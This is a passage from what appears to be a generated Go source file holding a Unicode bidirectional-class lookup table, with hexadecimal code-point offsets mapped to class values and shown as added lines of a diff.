0x7c0 + 0x7c1: 0x000c, 0x7c2: 0x000c, + 0x7c7: 0x000c, 0x7c8: 0x000c, 0x7cb: 0x000c, + 0x7cc: 0x000c, 0x7cd: 0x000c, 0x7d1: 0x000c, + 0x7f0: 0x000c, 0x7f1: 0x000c, 0x7f5: 0x000c, + // Block 0x20, offset 0x800 + 0x801: 0x000c, 0x802: 0x000c, 0x803: 0x000c, 0x804: 0x000c, 0x805: 0x000c, + 0x807: 0x000c, 0x808: 0x000c, + 0x80d: 0x000c, + 0x822: 0x000c, 0x823: 0x000c, + 0x831: 0x0004, + 0x83a: 0x000c, 0x83b: 0x000c, + 0x83c: 0x000c, 0x83d: 0x000c, 0x83e: 0x000c, 0x83f: 0x000c, + // Block 0x21, offset 0x840 + 0x841: 0x000c, + 0x87c: 0x000c, 0x87f: 0x000c, + // Block 0x22, offset 0x880 + 0x881: 0x000c, 0x882: 0x000c, 0x883: 0x000c, 0x884: 0x000c, + 0x88d: 0x000c, + 0x895: 0x000c, 0x896: 0x000c, + 0x8a2: 0x000c, 0x8a3: 0x000c, + // Block 0x23, offset 0x8c0 + 0x8c2: 0x000c, + // Block 0x24, offset 0x900 + 0x900: 0x000c, + 0x90d: 0x000c, + 0x933: 0x000a, 0x934: 0x000a, 0x935: 0x000a, + 0x936: 0x000a, 0x937: 0x000a, 0x938: 0x000a, 0x939: 0x0004, 0x93a: 0x000a, + // Block 0x25, offset 0x940 + 0x940: 0x000c, 0x944: 0x000c, + 0x97c: 0x000c, 0x97e: 0x000c, 0x97f: 0x000c, + // Block 0x26, offset 0x980 + 0x980: 0x000c, + 0x986: 0x000c, 0x987: 0x000c, 0x988: 0x000c, 0x98a: 0x000c, 0x98b: 0x000c, + 0x98c: 0x000c, 0x98d: 0x000c, + 0x995: 0x000c, 0x996: 0x000c, + 0x9a2: 0x000c, 0x9a3: 0x000c, + 0x9b8: 0x000a, 0x9b9: 0x000a, 0x9ba: 0x000a, 0x9bb: 0x000a, + 0x9bc: 0x000a, 0x9bd: 0x000a, 0x9be: 0x000a, + // Block 0x27, offset 0x9c0 + 0x9cc: 0x000c, 0x9cd: 0x000c, + 0x9e2: 0x000c, 0x9e3: 0x000c, + // Block 0x28, offset 0xa00 + 0xa00: 0x000c, 0xa01: 0x000c, + 0xa3b: 0x000c, + 0xa3c: 0x000c, + // Block 0x29, offset 0xa40 + 0xa41: 0x000c, 0xa42: 0x000c, 0xa43: 0x000c, 0xa44: 0x000c, + 0xa4d: 0x000c, + 0xa62: 0x000c, 0xa63: 0x000c, + // Block 0x2a, offset 0xa80 + 0xa81: 0x000c, + // Block 0x2b, offset 0xac0 + 0xaca: 0x000c, + 0xad2: 0x000c, 0xad3: 0x000c, 0xad4: 0x000c, 0xad6: 0x000c, + // Block 0x2c, offset 0xb00 + 0xb31: 0x000c, 0xb34: 0x000c, 0xb35: 0x000c, + 0xb36: 0x000c, 0xb37: 0x000c, 0xb38: 0x000c, 0xb39: 0x000c, 0xb3a: 0x000c, + 0xb3f: 0x0004, + // Block 0x2d, offset 0xb40 + 0xb47: 0x000c, 0xb48: 0x000c, 0xb49: 0x000c, 0xb4a: 0x000c, 0xb4b: 0x000c, + 0xb4c: 0x000c, 0xb4d: 0x000c, 0xb4e: 0x000c, + // Block 0x2e, offset 0xb80 + 0xbb1: 0x000c, 0xbb4: 0x000c, 0xbb5: 0x000c, + 0xbb6: 0x000c, 0xbb7: 0x000c, 0xbb8: 0x000c, 0xbb9: 0x000c, 0xbba: 0x000c, 0xbbb: 0x000c, + 0xbbc: 0x000c, + // Block 0x2f, offset 0xbc0 + 0xbc8: 0x000c, 0xbc9: 0x000c, 0xbca: 0x000c, 0xbcb: 0x000c, + 0xbcc: 0x000c, 0xbcd: 0x000c, 0xbce: 0x000c, + // Block 0x30, offset 0xc00 + 0xc18: 0x000c, 0xc19: 0x000c, + 0xc35: 0x000c, + 0xc37: 0x000c, 0xc39: 0x000c, 0xc3a: 0x003a, 0xc3b: 0x002a, + 0xc3c: 0x003a, 0xc3d: 0x002a, + // Block 0x31, offset 0xc40 + 0xc71: 0x000c, 0xc72: 0x000c, 0xc73: 0x000c, 0xc74: 0x000c, 0xc75: 0x000c, + 0xc76: 0x000c, 0xc77: 0x000c, 0xc78: 0x000c, 0xc79: 0x000c, 0xc7a: 0x000c, 0xc7b: 0x000c, + 0xc7c: 0x000c, 0xc7d: 0x000c, 0xc7e: 0x000c, + // Block 0x32, offset 0xc80 + 0xc80: 0x000c, 0xc81: 0x000c, 0xc82: 0x000c, 0xc83: 0x000c, 0xc84: 0x000c, + 0xc86: 0x000c, 0xc87: 0x000c, + 0xc8d: 0x000c, 0xc8e: 0x000c, 0xc8f: 0x000c, 0xc90: 0x000c, 0xc91: 0x000c, + 0xc92: 0x000c, 0xc93: 0x000c, 0xc94: 0x000c, 0xc95: 0x000c, 0xc96: 0x000c, 0xc97: 0x000c, + 0xc99: 0x000c, 0xc9a: 0x000c, 0xc9b: 0x000c, 0xc9c: 0x000c, 0xc9d: 0x000c, + 0xc9e: 0x000c, 0xc9f: 0x000c, 0xca0: 0x000c, 0xca1: 0x000c, 0xca2: 0x000c, 0xca3: 0x000c, + 0xca4: 0x000c, 0xca5: 0x000c, 0xca6: 0x000c, 0xca7: 0x000c, 0xca8: 0x000c, 0xca9: 0x000c, + 0xcaa: 0x000c, 0xcab: 0x000c, 0xcac: 0x000c, 0xcad: 0x000c, 0xcae: 0x000c, 0xcaf: 0x000c, + 0xcb0: 0x000c, 0xcb1: 0x000c, 0xcb2: 0x000c, 0xcb3: 0x000c, 0xcb4: 0x000c, 0xcb5: 0x000c, + 0xcb6: 0x000c, 0xcb7: 0x000c, 0xcb8: 0x000c, 0xcb9: 0x000c, 0xcba: 0x000c, 0xcbb: 0x000c, + 0xcbc: 0x000c, + // Block 0x33, offset 0xcc0 + 0xcc6: 0x000c, + // Block 0x34, offset 0xd00 + 0xd2d: 0x000c, 0xd2e: 0x000c, 0xd2f: 0x000c, + 0xd30: 0x000c, 0xd32: 0x000c, 0xd33: 0x000c, 0xd34: 0x000c, 0xd35: 0x000c, + 0xd36: 0x000c, 0xd37: 0x000c, 0xd39: 0x000c, 0xd3a: 0x000c, + 0xd3d: 0x000c, 0xd3e: 0x000c, + // Block 0x35, offset 0xd40 + 0xd58: 0x000c, 0xd59: 0x000c, + 0xd5e: 0x000c, 0xd5f: 0x000c, 0xd60: 0x000c, + 0xd71: 0x000c, 0xd72: 0x000c, 0xd73: 0x000c, 0xd74: 0x000c, + // Block 0x36, offset 0xd80 + 0xd82: 0x000c, 0xd85: 0x000c, + 0xd86: 0x000c, + 0xd8d: 0x000c, + 0xd9d: 0x000c, + // Block 0x37, offset 0xdc0 + 0xddd: 0x000c, + 0xdde: 0x000c, 0xddf: 0x000c, + // Block 0x38, offset 0xe00 + 0xe10: 0x000a, 0xe11: 0x000a, + 0xe12: 0x000a, 0xe13: 0x000a, 0xe14: 0x000a, 0xe15: 0x000a, 0xe16: 0x000a, 0xe17: 0x000a, + 0xe18: 0x000a, 0xe19: 0x000a, + // Block 0x39, offset 0xe40 + 0xe40: 0x000a, + // Block 0x3a, offset 0xe80 + 0xe80: 0x0009, + 0xe9b: 0x007a, 0xe9c: 0x006a, + // Block 0x3b, offset 0xec0 + 0xed2: 0x000c, 0xed3: 0x000c, 0xed4: 0x000c, + 0xef2: 0x000c, 0xef3: 0x000c, + // Block 0x3c, offset 0xf00 + 0xf12: 0x000c, 0xf13: 0x000c, + 0xf32: 0x000c, 0xf33: 0x000c, + // Block 0x3d, offset 0xf40 + 0xf74: 0x000c, 0xf75: 0x000c, + 0xf77: 0x000c, 0xf78: 0x000c, 0xf79: 0x000c, 0xf7a: 0x000c, 0xf7b: 0x000c, + 0xf7c: 0x000c, 0xf7d: 0x000c, + // Block 0x3e, offset 0xf80 + 0xf86: 0x000c, 0xf89: 0x000c, 0xf8a: 0x000c, 0xf8b: 0x000c, + 0xf8c: 0x000c, 0xf8d: 0x000c, 0xf8e: 0x000c, 0xf8f: 0x000c, 0xf90: 0x000c, 0xf91: 0x000c, + 0xf92: 0x000c, 0xf93: 0x000c, + 0xf9b: 0x0004, 0xf9d: 0x000c, + 0xfb0: 0x000a, 0xfb1: 0x000a, 0xfb2: 0x000a, 0xfb3: 0x000a, 0xfb4: 0x000a, 0xfb5: 0x000a, + 0xfb6: 0x000a, 0xfb7: 0x000a, 0xfb8: 0x000a, 0xfb9: 0x000a, + // Block 0x3f, offset 0xfc0 + 0xfc0: 0x000a, 0xfc1: 0x000a, 0xfc2: 0x000a, 0xfc3: 0x000a, 0xfc4: 0x000a, 0xfc5: 0x000a, + 0xfc6: 0x000a, 0xfc7: 0x000a, 0xfc8: 0x000a, 0xfc9: 0x000a, 0xfca: 0x000a, 0xfcb: 0x000c, + 0xfcc: 0x000c, 0xfcd: 0x000c, 0xfce: 0x000b, 0xfcf: 0x000c, + // Block 0x40, offset 0x1000 + 0x1005: 0x000c, + 0x1006: 0x000c, + 0x1029: 0x000c, + // Block 0x41, offset 0x1040 + 0x1060: 0x000c, 0x1061: 0x000c, 0x1062: 0x000c, + 0x1067: 0x000c, 0x1068: 0x000c, + 0x1072: 0x000c, + 0x1079: 0x000c, 0x107a: 0x000c, 0x107b: 0x000c, + // Block 0x42, offset 0x1080 + 0x1080: 0x000a, 0x1084: 0x000a, 0x1085: 0x000a, + // Block 0x43, offset 0x10c0 + 0x10de: 0x000a, 0x10df: 0x000a, 0x10e0: 0x000a, 0x10e1: 0x000a, 0x10e2: 0x000a, 0x10e3: 0x000a, + 0x10e4: 0x000a, 0x10e5: 0x000a, 0x10e6: 0x000a, 0x10e7: 0x000a, 0x10e8: 0x000a, 0x10e9: 0x000a, + 0x10ea: 0x000a, 0x10eb: 0x000a, 0x10ec: 0x000a, 0x10ed: 0x000a, 0x10ee: 0x000a, 0x10ef: 0x000a, + 0x10f0: 0x000a, 0x10f1: 0x000a, 0x10f2: 0x000a, 0x10f3: 0x000a, 0x10f4: 0x000a, 0x10f5: 0x000a, + 0x10f6: 0x000a, 0x10f7: 0x000a, 0x10f8: 0x000a, 0x10f9: 0x000a, 0x10fa: 0x000a, 0x10fb: 0x000a, + 0x10fc: 0x000a, 0x10fd: 0x000a, 0x10fe: 0x000a, 0x10ff: 0x000a, + // Block 0x44, offset 0x1100 + 0x1117: 0x000c, + 0x1118: 0x000c, 0x111b: 0x000c, + // Block 0x45, offset 0x1140 + 0x1156: 0x000c, + 0x1158: 0x000c, 0x1159: 0x000c, 0x115a: 0x000c, 0x115b: 0x000c, 0x115c: 0x000c, 0x115d: 0x000c, + 0x115e: 0x000c, 0x1160: 0x000c, 0x1162: 0x000c, + 0x1165: 0x000c, 0x1166: 0x000c, 0x1167: 0x000c, 0x1168: 0x000c, 0x1169: 0x000c, + 0x116a: 0x000c, 0x116b: 0x000c, 0x116c: 0x000c, + 0x1173: 0x000c, 0x1174: 0x000c, 0x1175: 0x000c, + 0x1176: 0x000c, 0x1177: 0x000c, 0x1178: 0x000c, 0x1179: 0x000c, 0x117a: 0x000c, 0x117b: 0x000c, + 0x117c: 0x000c, 0x117f: 0x000c, + // Block 0x46, offset 0x1180 + 0x11b0: 0x000c, 0x11b1: 0x000c, 0x11b2: 0x000c, 0x11b3: 0x000c, 0x11b4: 0x000c, 0x11b5: 0x000c, + 0x11b6: 0x000c, 0x11b7: 0x000c, 0x11b8: 0x000c, 0x11b9: 0x000c, 0x11ba: 0x000c, 0x11bb: 0x000c, + 0x11bc: 0x000c, 0x11bd: 0x000c, 0x11be: 0x000c, 0x11bf: 0x000c, + // Block 0x47, offset 0x11c0 + 0x11c0: 0x000c, 0x11c1: 0x000c, 0x11c2: 0x000c, 0x11c3: 0x000c, 0x11c4: 0x000c, 0x11c5: 0x000c, + 0x11c6: 0x000c, 0x11c7: 0x000c, 0x11c8: 0x000c, 0x11c9: 0x000c, 0x11ca: 0x000c, 0x11cb: 0x000c, + 0x11cc: 0x000c, 0x11cd: 0x000c, 0x11ce: 0x000c, + // Block 0x48, offset 0x1200 + 0x1200: 0x000c, 0x1201: 0x000c, 0x1202: 0x000c, 0x1203: 0x000c, + 0x1234: 0x000c, + 0x1236: 0x000c, 0x1237: 0x000c, 0x1238: 0x000c, 0x1239: 0x000c, 0x123a: 0x000c, + 0x123c: 0x000c, + // Block 0x49, offset 0x1240 + 0x1242: 0x000c, + 0x126b: 0x000c, 0x126c: 0x000c, 0x126d: 0x000c, 0x126e: 0x000c, 0x126f: 0x000c, + 0x1270: 0x000c, 0x1271: 0x000c, 0x1272: 0x000c, 0x1273: 0x000c, + // Block 0x4a, offset 0x1280 + 0x1280: 0x000c, 0x1281: 0x000c, + 0x12a2: 0x000c, 0x12a3: 0x000c, + 0x12a4: 0x000c, 0x12a5: 0x000c, 0x12a8: 0x000c, 0x12a9: 0x000c, + 0x12ab: 0x000c, 0x12ac: 0x000c, 0x12ad: 0x000c, + // Block 0x4b, offset 0x12c0 + 0x12e6: 0x000c, 0x12e8: 0x000c, 0x12e9: 0x000c, + 0x12ed: 0x000c, 0x12ef: 0x000c, + 0x12f0: 0x000c, 0x12f1: 0x000c, + // Block 0x4c, offset 0x1300 + 0x132c: 0x000c, 0x132d: 0x000c, 0x132e: 0x000c, 0x132f: 0x000c, + 0x1330: 0x000c, 0x1331: 0x000c, 0x1332: 0x000c, 0x1333: 0x000c, + 0x1336: 0x000c, 0x1337: 0x000c, + // Block 0x4d, offset 0x1340 + 0x1350: 0x000c, 0x1351: 0x000c, + 0x1352: 0x000c, 0x1354: 0x000c, 0x1355: 0x000c, 0x1356: 0x000c, 0x1357: 0x000c, + 0x1358: 0x000c, 0x1359: 0x000c, 0x135a: 0x000c, 0x135b: 0x000c, 0x135c: 0x000c, 0x135d: 0x000c, + 0x135e: 0x000c, 0x135f: 0x000c, 0x1360: 0x000c, 0x1362: 0x000c, 0x1363: 0x000c, + 0x1364: 0x000c, 0x1365: 0x000c, 0x1366: 0x000c, 0x1367: 0x000c, 0x1368: 0x000c, + 0x136d: 0x000c, + 0x1374: 0x000c, + 0x1378: 0x000c, 0x1379: 0x000c, + // Block 0x4e, offset 0x1380 + 0x13bd: 0x000a, 0x13bf: 0x000a, + // Block 0x4f, offset 0x13c0 + 0x13c0: 0x000a, 0x13c1: 0x000a, + 0x13cd: 0x000a, 0x13ce: 0x000a, 0x13cf: 0x000a, + 0x13dd: 0x000a, + 0x13de: 0x000a, 0x13df: 0x000a, + 0x13ed: 0x000a, 0x13ee: 0x000a, 0x13ef: 0x000a, + 0x13fd: 0x000a, 0x13fe: 0x000a, + // Block 0x50, offset 0x1400 + 0x1400: 0x0009, 0x1401: 0x0009, 0x1402: 0x0009, 0x1403: 0x0009, 0x1404: 0x0009, 0x1405: 0x0009, + 0x1406: 0x0009, 0x1407: 0x0009, 0x1408: 0x0009, 0x1409: 0x0009, 0x140a: 0x0009, 0x140b: 0x000b, + 0x140c: 0x000b, 0x140d: 0x000b, 0x140f: 0x0001, 0x1410: 0x000a, 0x1411: 0x000a, + 0x1412: 0x000a, 0x1413: 0x000a, 0x1414: 0x000a, 0x1415: 0x000a, 0x1416: 0x000a, 0x1417: 0x000a, + 0x1418: 0x000a, 0x1419: 0x000a, 0x141a: 0x000a, 0x141b: 0x000a, 0x141c: 0x000a, 0x141d: 0x000a, + 0x141e: 0x000a, 0x141f: 0x000a, 0x1420: 0x000a, 0x1421: 0x000a, 0x1422: 0x000a, 0x1423: 0x000a, + 0x1424: 0x000a, 0x1425: 0x000a, 0x1426: 0x000a, 0x1427: 0x000a, 0x1428: 0x0009, 0x1429: 0x0007, + 0x142a: 0x000e, 0x142b: 0x000e, 0x142c: 0x000e, 0x142d: 0x000e, 0x142e: 0x000e, 0x142f: 0x0006, + 0x1430: 0x0004, 0x1431: 0x0004, 0x1432: 0x0004, 0x1433: 0x0004, 0x1434: 0x0004, 0x1435: 0x000a, + 0x1436: 0x000a, 0x1437: 0x000a, 0x1438: 0x000a, 0x1439: 0x000a, 0x143a: 0x000a, 0x143b: 0x000a, + 0x143c: 0x000a, 0x143d: 0x000a, 0x143e: 0x000a, 0x143f: 0x000a, + // Block 0x51, offset 0x1440 + 0x1440: 0x000a, 0x1441: 0x000a, 0x1442: 0x000a, 0x1443: 0x000a, 0x1444: 0x0006, 0x1445: 0x009a, + 0x1446: 0x008a, 0x1447: 0x000a, 0x1448: 0x000a, 0x1449: 0x000a, 0x144a: 0x000a, 0x144b: 0x000a, + 0x144c: 0x000a, 0x144d: 0x000a, 0x144e: 0x000a, 0x144f: 0x000a, 0x1450: 0x000a, 0x1451: 0x000a, + 0x1452: 0x000a, 0x1453: 0x000a, 0x1454: 0x000a, 0x1455: 0x000a, 0x1456: 0x000a, 0x1457: 0x000a, + 0x1458: 0x000a, 0x1459: 0x000a, 0x145a: 0x000a, 0x145b: 0x000a, 0x145c: 0x000a, 0x145d: 0x000a, + 0x145e: 0x000a, 0x145f: 0x0009, 0x1460: 0x000b, 0x1461: 0x000b, 0x1462: 0x000b, 0x1463: 0x000b, + 0x1464: 0x000b, 0x1465: 0x000b, 0x1466: 0x000e, 0x1467: 0x000e, 0x1468: 0x000e, 0x1469: 0x000e, + 0x146a: 0x000b, 0x146b: 0x000b, 0x146c: 0x000b, 0x146d: 0x000b, 0x146e: 0x000b, 0x146f: 0x000b, + 0x1470: 0x0002, 0x1474: 0x0002, 0x1475: 0x0002, + 0x1476: 0x0002, 0x1477: 0x0002, 0x1478: 0x0002, 0x1479: 0x0002, 0x147a: 0x0003, 0x147b: 0x0003, + 0x147c: 0x000a, 0x147d: 0x009a, 0x147e: 0x008a, + // Block 0x52, offset 0x1480 + 0x1480: 0x0002, 0x1481: 0x0002, 0x1482: 0x0002, 0x1483: 0x0002, 0x1484: 0x0002, 0x1485: 0x0002, + 0x1486: 0x0002, 0x1487: 0x0002, 0x1488: 0x0002, 0x1489: 0x0002, 0x148a: 0x0003, 0x148b: 0x0003, + 0x148c: 0x000a, 0x148d: 0x009a, 0x148e: 0x008a, + 0x14a0: 0x0004, 0x14a1: 0x0004, 0x14a2: 0x0004, 0x14a3: 0x0004, + 0x14a4: 0x0004, 0x14a5: 0x0004, 0x14a6: 0x0004, 0x14a7: 0x0004, 0x14a8: 0x0004, 0x14a9: 0x0004, + 0x14aa: 0x0004, 0x14ab: 0x0004, 0x14ac: 0x0004, 0x14ad: 0x0004, 0x14ae: 0x0004, 0x14af: 0x0004, + 0x14b0: 0x0004, 0x14b1: 0x0004, 0x14b2: 0x0004, 0x14b3: 0x0004, 0x14b4: 0x0004, 0x14b5: 0x0004, + 0x14b6: 0x0004, 0x14b7: 0x0004, 0x14b8: 0x0004, 0x14b9: 0x0004, 0x14ba: 0x0004, 0x14bb: 0x0004, + 0x14bc: 0x0004, 0x14bd: 0x0004, 0x14be: 0x0004, 0x14bf: 0x0004, + // Block 0x53, offset 0x14c0 + 0x14c0: 0x0004, 0x14c1: 0x0004, 0x14c2: 0x0004, 0x14c3: 0x0004, 0x14c4: 0x0004, 0x14c5: 0x0004, + 0x14c6: 0x0004, 0x14c7: 0x0004, 0x14c8: 0x0004, 0x14c9: 0x0004, 0x14ca: 0x0004, 0x14cb: 0x0004, + 0x14cc: 0x0004, 0x14cd: 0x0004, 0x14ce: 0x0004, 0x14cf: 0x0004, 0x14d0: 0x000c, 0x14d1: 0x000c, + 0x14d2: 0x000c, 0x14d3: 0x000c, 0x14d4: 0x000c, 0x14d5: 0x000c, 0x14d6: 0x000c, 0x14d7: 0x000c, + 0x14d8: 0x000c, 0x14d9: 0x000c, 0x14da: 0x000c, 0x14db: 0x000c, 0x14dc: 0x000c, 0x14dd: 0x000c, + 0x14de: 0x000c, 0x14df: 0x000c, 0x14e0: 0x000c, 0x14e1: 0x000c, 0x14e2: 0x000c, 0x14e3: 0x000c, + 0x14e4: 0x000c, 0x14e5: 0x000c, 0x14e6: 0x000c, 0x14e7: 0x000c, 0x14e8: 0x000c, 0x14e9: 0x000c, + 0x14ea: 0x000c, 0x14eb: 0x000c, 0x14ec: 0x000c, 0x14ed: 0x000c, 0x14ee: 0x000c, 0x14ef: 0x000c, + 0x14f0: 0x000c, + // Block 0x54, offset 0x1500 + 0x1500: 0x000a, 0x1501: 0x000a, 0x1503: 0x000a, 0x1504: 0x000a, 0x1505: 0x000a, + 0x1506: 0x000a, 0x1508: 0x000a, 0x1509: 0x000a, + 0x1514: 0x000a, 0x1516: 0x000a, 0x1517: 0x000a, + 0x1518: 0x000a, + 0x151e: 0x000a, 0x151f: 0x000a, 0x1520: 0x000a, 0x1521: 0x000a, 0x1522: 0x000a, 0x1523: 0x000a, + 0x1525: 0x000a, 0x1527: 0x000a, 0x1529: 0x000a, + 0x152e: 0x0004, + 0x153a: 0x000a, 0x153b: 0x000a, + // Block 0x55, offset 0x1540 + 0x1540: 0x000a, 0x1541: 0x000a, 0x1542: 0x000a, 0x1543: 0x000a, 0x1544: 0x000a, + 0x154a: 0x000a, 0x154b: 0x000a, + 0x154c: 0x000a, 0x154d: 0x000a, 0x1550: 0x000a, 0x1551: 0x000a, + 0x1552: 0x000a, 0x1553: 0x000a, 0x1554: 0x000a, 0x1555: 0x000a, 0x1556: 0x000a, 0x1557: 0x000a, + 0x1558: 0x000a, 0x1559: 0x000a, 0x155a: 0x000a, 0x155b: 0x000a, 0x155c: 0x000a, 0x155d: 0x000a, + 0x155e: 0x000a, 0x155f: 0x000a, + // Block 0x56, offset 0x1580 + 0x1589: 0x000a, 0x158a: 0x000a, 0x158b: 0x000a, + 0x1590: 0x000a, 0x1591: 0x000a, + 0x1592: 0x000a, 0x1593: 0x000a, 0x1594: 0x000a, 0x1595: 0x000a, 0x1596: 0x000a, 0x1597: 0x000a, + 0x1598: 0x000a, 0x1599: 0x000a, 0x159a: 0x000a, 0x159b: 0x000a, 0x159c: 0x000a, 0x159d: 0x000a, + 0x159e: 0x000a, 0x159f: 0x000a, 0x15a0: 0x000a, 0x15a1: 0x000a, 0x15a2: 0x000a, 0x15a3: 0x000a, + 0x15a4: 0x000a, 0x15a5: 0x000a, 0x15a6: 0x000a, 0x15a7: 0x000a, 0x15a8: 0x000a, 0x15a9: 0x000a, + 0x15aa: 0x000a, 0x15ab: 0x000a, 0x15ac: 0x000a, 0x15ad: 0x000a, 0x15ae: 0x000a, 0x15af: 0x000a, + 0x15b0: 0x000a, 0x15b1: 0x000a, 0x15b2: 0x000a, 0x15b3: 0x000a, 0x15b4: 0x000a, 0x15b5: 0x000a, + 0x15b6: 0x000a, 0x15b7: 0x000a, 0x15b8: 0x000a, 0x15b9: 0x000a, 0x15ba: 0x000a, 0x15bb: 0x000a, + 0x15bc: 0x000a, 0x15bd: 0x000a, 0x15be: 0x000a, 0x15bf: 0x000a, + // Block 0x57, offset 0x15c0 + 0x15c0: 0x000a, 0x15c1: 0x000a, 0x15c2: 0x000a, 0x15c3: 0x000a, 0x15c4: 0x000a, 0x15c5: 0x000a, + 0x15c6: 0x000a, 0x15c7: 0x000a, 0x15c8: 0x000a, 0x15c9: 0x000a, 0x15ca: 0x000a, 0x15cb: 0x000a, + 0x15cc: 0x000a, 0x15cd: 0x000a, 0x15ce: 0x000a, 0x15cf: 0x000a, 0x15d0: 0x000a, 0x15d1: 0x000a, + 0x15d2: 0x000a, 0x15d3: 0x000a, 0x15d4: 0x000a, 0x15d5: 0x000a, 0x15d6: 0x000a, 0x15d7: 0x000a, + 0x15d8: 0x000a, 0x15d9: 0x000a, 0x15da: 0x000a, 0x15db: 0x000a, 0x15dc: 0x000a, 0x15dd: 0x000a, + 0x15de: 0x000a, 0x15df: 0x000a, 0x15e0: 0x000a, 0x15e1: 0x000a, 0x15e2: 0x000a, 0x15e3: 0x000a, + 0x15e4: 0x000a, 0x15e5: 0x000a, 0x15e6: 0x000a, 0x15e7: 0x000a, 0x15e8: 0x000a, 0x15e9: 0x000a, + 0x15ea: 0x000a, 0x15eb: 0x000a, 0x15ec: 0x000a, 0x15ed: 0x000a, 0x15ee: 0x000a, 0x15ef: 0x000a, + 0x15f0: 0x000a, 0x15f1: 0x000a, 0x15f2: 0x000a, 0x15f3: 0x000a, 0x15f4: 0x000a, 0x15f5: 0x000a, + 0x15f6: 0x000a, 0x15f7: 0x000a, 0x15f8: 0x000a, 0x15f9: 0x000a, 0x15fa: 0x000a, 0x15fb: 0x000a, + 0x15fc: 0x000a, 0x15fd: 0x000a, 0x15fe: 0x000a, 0x15ff: 0x000a, + // Block 0x58, offset 0x1600 + 0x1600: 0x000a, 0x1601: 0x000a, 0x1602: 0x000a, 0x1603: 0x000a, 0x1604: 0x000a, 0x1605: 0x000a, + 0x1606: 0x000a, 0x1607: 0x000a, 0x1608: 0x000a, 0x1609: 0x000a, 0x160a: 0x000a, 0x160b: 0x000a, + 0x160c: 0x000a, 0x160d: 0x000a, 0x160e: 0x000a, 0x160f: 0x000a, 0x1610: 0x000a, 0x1611: 0x000a, + 0x1612: 0x0003, 0x1613: 0x0004, 0x1614: 0x000a, 0x1615: 0x000a, 0x1616: 0x000a, 0x1617: 0x000a, + 0x1618: 0x000a, 0x1619: 0x000a, 0x161a: 0x000a, 0x161b: 0x000a, 0x161c: 0x000a, 0x161d: 0x000a, + 0x161e: 0x000a, 0x161f: 0x000a, 0x1620: 0x000a, 0x1621: 0x000a, 0x1622: 0x000a, 0x1623: 0x000a, + 0x1624: 0x000a, 0x1625: 0x000a, 0x1626: 0x000a, 0x1627: 0x000a, 0x1628: 0x000a, 0x1629: 0x000a, + 0x162a: 0x000a, 0x162b: 0x000a, 0x162c: 0x000a, 0x162d: 0x000a, 0x162e: 0x000a, 0x162f: 0x000a, + 0x1630: 0x000a, 0x1631: 0x000a, 0x1632: 0x000a, 0x1633: 0x000a, 0x1634: 0x000a, 0x1635: 0x000a, + 0x1636: 0x000a, 0x1637: 0x000a, 0x1638: 0x000a, 0x1639: 0x000a, 0x163a: 0x000a, 0x163b: 0x000a, + 0x163c: 0x000a, 0x163d: 0x000a, 0x163e: 0x000a, 0x163f: 0x000a, + // Block 0x59, offset 0x1640 + 0x1640: 0x000a, 0x1641: 0x000a, 0x1642: 0x000a, 0x1643: 0x000a, 0x1644: 0x000a, 0x1645: 0x000a, + 0x1646: 0x000a, 0x1647: 0x000a, 0x1648: 0x003a, 0x1649: 0x002a, 0x164a: 0x003a, 0x164b: 0x002a, + 0x164c: 0x000a, 0x164d: 0x000a, 0x164e: 0x000a, 0x164f: 0x000a, 0x1650: 0x000a, 0x1651: 0x000a, + 0x1652: 0x000a, 0x1653: 0x000a, 0x1654: 0x000a, 0x1655: 0x000a, 0x1656: 0x000a, 0x1657: 0x000a, + 0x1658: 0x000a, 0x1659: 0x000a, 0x165a: 0x000a, 0x165b: 0x000a, 0x165c: 0x000a, 0x165d: 0x000a, + 0x165e: 0x000a, 0x165f: 0x000a, 0x1660: 0x000a, 0x1661: 0x000a, 0x1662: 0x000a, 0x1663: 0x000a, + 0x1664: 0x000a, 0x1665: 0x000a, 0x1666: 0x000a, 0x1667: 0x000a, 0x1668: 0x000a, 0x1669: 0x009a, + 0x166a: 0x008a, 0x166b: 0x000a, 0x166c: 0x000a, 0x166d: 0x000a, 0x166e: 0x000a, 0x166f: 0x000a, + 0x1670: 0x000a, 0x1671: 0x000a, 0x1672: 0x000a, 0x1673: 0x000a, 0x1674: 0x000a, 0x1675: 0x000a, + // Block 0x5a, offset 0x1680 + 0x16bb: 0x000a, + 0x16bc: 0x000a, 0x16bd: 0x000a, 0x16be: 0x000a, 0x16bf: 0x000a, + // Block 0x5b, offset 0x16c0 + 0x16c0: 0x000a, 0x16c1: 0x000a, 0x16c2: 0x000a, 0x16c3: 0x000a, 0x16c4: 0x000a, 0x16c5: 0x000a, + 0x16c6: 0x000a, 0x16c7: 0x000a, 0x16c8: 0x000a, 0x16c9: 0x000a, 0x16ca: 0x000a, 0x16cb: 0x000a, + 0x16cc: 0x000a, 0x16cd: 0x000a, 0x16ce: 0x000a, 0x16cf: 0x000a, 0x16d0: 0x000a, 0x16d1: 0x000a, + 0x16d2: 0x000a, 0x16d3: 0x000a, 0x16d4: 0x000a, 0x16d6: 0x000a, 0x16d7: 0x000a, + 0x16d8: 0x000a, 0x16d9: 0x000a, 0x16da: 0x000a, 0x16db: 0x000a, 0x16dc: 0x000a, 0x16dd: 0x000a, + 0x16de: 0x000a, 0x16df: 0x000a, 0x16e0: 0x000a, 0x16e1: 0x000a, 0x16e2: 0x000a, 0x16e3: 0x000a, + 0x16e4: 0x000a, 0x16e5: 0x000a, 0x16e6: 0x000a, 0x16e7: 0x000a, 0x16e8: 0x000a, 0x16e9: 0x000a, + 0x16ea: 0x000a, 0x16eb: 0x000a, 0x16ec: 0x000a, 0x16ed: 0x000a, 0x16ee: 0x000a, 0x16ef: 0x000a, + 0x16f0: 0x000a, 0x16f1: 0x000a, 0x16f2: 0x000a, 0x16f3: 0x000a, 0x16f4: 0x000a, 0x16f5: 0x000a, + 0x16f6: 0x000a, 0x16f7: 0x000a, 0x16f8: 0x000a, 0x16f9: 0x000a, 0x16fa: 0x000a, 0x16fb: 0x000a, + 0x16fc: 0x000a, 0x16fd: 0x000a, 0x16fe: 0x000a, 0x16ff: 0x000a, + // Block 0x5c, offset 0x1700 + 0x1700: 0x000a, 0x1701: 0x000a, 0x1702: 0x000a, 0x1703: 0x000a, 0x1704: 0x000a, 0x1705: 0x000a, + 0x1706: 0x000a, 0x1707: 0x000a, 0x1708: 0x000a, 0x1709: 0x000a, 0x170a: 0x000a, 0x170b: 0x000a, + 0x170c: 0x000a, 0x170d: 0x000a, 0x170e: 0x000a, 0x170f: 0x000a, 0x1710: 0x000a, 0x1711: 0x000a, + 0x1712: 0x000a, 0x1713: 